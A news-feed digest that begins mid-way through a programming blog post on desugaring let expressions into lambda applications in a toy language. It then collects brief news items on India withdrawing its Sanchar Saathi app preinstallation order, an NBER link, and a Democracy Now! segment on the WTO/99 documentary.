        self.insert_node(app_id, SyntaxNodePtr::new(&child));
        Ast::app(app_id, Ast::fun(fun_id, var, body), arg)
      })
    }
    

    We accomplish a secondary task whilst desugaring lets, nesting let bindings correctly. body is the body expression of our innermost let binding, which will be the last element of binds . We walk binds backwards, constructing new let expressions out of the previous until we reach our first bindings. The first binding is our outermost let expression, including all our other bindings within its body.

    Let’s see let in action Link to heading

    Let’s get a feel for desugaring by working through an example. We’ll start with the syntax:

    let one = |s||z| s z;
    let add = |m||n||s||z| m s (n s z);
    add one one
    

    All my church heads sound off in chat. This is a perfectly good way to do addition, if you ask me. I don’t even know why we’re planning to add more features. That syntax gets parsed into a CST, that we’ll only summarize:

    • Program
      • Expr
        • Let
          • LetBinder “one”
          • Expr …
        • Let
          • LetBinder “add”
          • Expr …
        • App
          • App
            • Var “add”
            • Var “one”
          • Var “one”

    From that CST, we desugar our Ast . We’ll omit the body of our let definitions for brevity. We just want to get a sense for how our let expressions transform:

    use Ast::*;
    App(
      NodeId(25),
      Fun(
        NodeId(26),
        "one", 
        App(
          NodeId(23),
          Fun(
            NodeId(24),
            "add",
            App(
              NodeId(22),
              App(
                NodeId(20),
                Var(NodeId(18), "add"), 
                Var(NodeId(19), "one")),
              Var(NodeId(21), "one")
            )
          ),
          Fun(NodeId(17), "m", Fun(NodeId(16), "n", 
            Fun(NodeId(15), "s", Fun(NodeId(14), "z", ...))))
        )
      ),
      Fun(NodeId(4), "s",
        Fun(NodeId(3), "z", ...))
    )
    

    Phew, writing that out by hand really makes me appreciate all the work the computer does for us. Now, because let is syntax sugar, we could also reach the same Ast by writing:

    (|one| 
      (|add| add one one) 
      (|m||n||s||z| m s (n s z))
    ) (|s||z| s z)
    

    I’ll leave it to you to verify, but this turns into the same Ast . I know which syntax I’d rather write. But I think it’s insightful to see that we don’t need let expressions.

    Note

    This is only the case in our language because of choices we made around the type system. In Haskell, let bindings allow for different typings than function parameters, making this transformation invalid. We don’t have any special treatment of let expressions, so we can desugar them.

    As always, you can find the full code for our desugar pass in the making a language repo . One thing is still bugging me about the desugar example. Our desugared Ast uses String for variables, but during type inference we use Var . We’re going to need one more pass before we pass our Ast to type inference: name resolution.

    India revokes order to preload smartphones with state-owned security app

    Guardian
    www.theguardian.com
    2025-12-03 13:53:04
    Tech companies including Apple and Google made it clear they would not comply due to privacy concerns India’s government has backtracked on an order for all smartphones to be pre-installed with a state-owned security app after a mass outcry over privacy concerns and refusal by technology companies t...
    Original Article

    India’s government has backtracked on an order for all smartphones to be pre-installed with a state-owned security app after a mass outcry over privacy concerns and refusal by technology companies to comply.

    The department of telecommunications confirmed it had revoked its previous order for all technology companies to mandatorily install the government’s Sanchar Saathi cybersecurity app on to every smartphone in India within 90 days.

    Political outcry erupted over the order and several tech companies, including Apple and Google , made it clear they would not comply due to privacy concerns. In a statement on Wednesday afternoon, the government confirmed it had “decided not to make the pre-installation mandatory for mobile manufacturers”.

    It emphasised that the app, which allows users to block and track lost or stolen mobile phones and report fraudulent calls, was “secure and purely meant to help citizens” against “bad actors”.

    The initial order, given quietly to tech companies last week , landed the government in hot water after internet privacy groups and the political opposition raised concerns that the app could be used as a mass surveillance tool.

    Apple and Google anonymously briefed the media that tech companies would be pushing back against the order as the move raised privacy concerns for their operating systems and violated internal policies.

    Outcry erupted in parliament on Wednesday, with opposition MPs accusing the government, led by the prime minister, Narendra Modi, of violating citizens’ basic right to privacy.

    Randeep Singh Surjewala, from the opposition Indian National Congress party, said the app “could be a possible kill switch” that could turn “every cell phone into a brick, which the government could use against journalists, opposition leaders and dissidents, if it so desires”.

    Parallels have been made with an order made by the Russian government in August for an app called Max to be installed on all smartphones, sparking fears it was a mass surveillance tool.

    The communications minister, Jyotiraditya Scindia, responded to criticism, saying the Sanchar Saathi app was voluntary and could be deleted, despite the initial order stating the opposite.

    He said: “I can delete it like any other app, as every citizen has this right in a democracy. Snooping is not possible through the app, nor will it ever be.”

    The decision by the government to revoke the order was celebrated by groups advocating for online rights and privacy. In a statement, the internet freedom foundation said: “For now, we should treat this as cautious optimism, not closure, until the formal legal direction is published and independently confirmed.”

    Congressional lawmakers 47% pts better at picking stocks

    Hacker News
    www.nber.org
    2025-12-03 13:50:10
    Comments...
    Original Article

    More from the NBER

     2025, 17th Annual Feldstein Lecture, N. Gregory Mankiw," The Fiscal Future"

    • Feldstein Lecture

    N. Gregory Mankiw, Robert M. Beren Professor of Economics at Harvard University, presented the 2025 Martin Feldstein...

     2025 Methods Lecture, Raj Chetty, "Uncovering Causal Mechanisms: Mediation Analysis and Surrogate Indices"

    • Methods Lectures

    SlidesBackground materials on mediationImai, Kosuke, Dustin Tingley, and Teppei Yamamoto. (2013). “Experimental Designs...

    2025 International Trade and Macroeconomics, "Panel on The Future of the Global Economy"

    • Panel Discussion

    Supported by the Alfred P. Sloan Foundation grant #G-2023-19633, the Lynde and Harry Bradley Foundation grant #20251294...

    "WTO/99" Filmmaker on Anti-Corporate Globalization Movement: "These Issues Haven't Gone Away"

    Democracy Now!
    www.democracynow.org
    2025-12-03 13:47:55
    WTO/99 is a new “immersive archival documentary” about the 1999 protests in Seattle against the World Trade Organization that uses 1,000+ hours of footage from the Independent Media Center and other archives. The historic WTO protests against corporate power and economic globalization we...
    Original Article

    Hi there,

    In this age of widespread misinformation and increased threats to press freedom, support for independent journalism is more important than ever. Media is essential to the functioning of a democratic society. We have extended our Giving NewsDay triple match through today ONLY, so you still have time to make 3x the impact. Please donate today, so we can keep delivering urgent reporting on the world’s most pressing issues.

    Every dollar makes a difference

    . Thank you so much!

    Democracy Now!
    Amy Goodman

    Non-commercial news needs your support.

    We rely on contributions from you, our viewers and listeners to do our work. If you visit us daily or weekly or even just once a month, now is a great time to make your monthly contribution.

    Please do your part today.

    Donate

    Independent Global News

    Donate

    WTO /99 is a new “immersive archival documentary” about the 1999 protests in Seattle against the World Trade Organization that uses 1,000+ hours of footage from the Independent Media Center and other archives. The historic WTO protests against corporate power and economic globalization were met with a militarized police crackdown and National Guard troops. We feature clips from the film and discuss takeaways that have relevance today. “These issues haven’t gone away,” says Ian Bell, director of WTO /99 . We also speak with Ralph Nader, who is featured in the movie.



    Guests
    • Ian Bell

      director of the documentary WTO /99 .

    • Ralph Nader

      longtime consumer advocate, corporate critic and former presidential candidate.


    Please check back later for full transcript.

    The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

    Non-commercial news needs your support

    We rely on contributions from our viewers and listeners to do our work.
    Please do your part today.

    Make a donation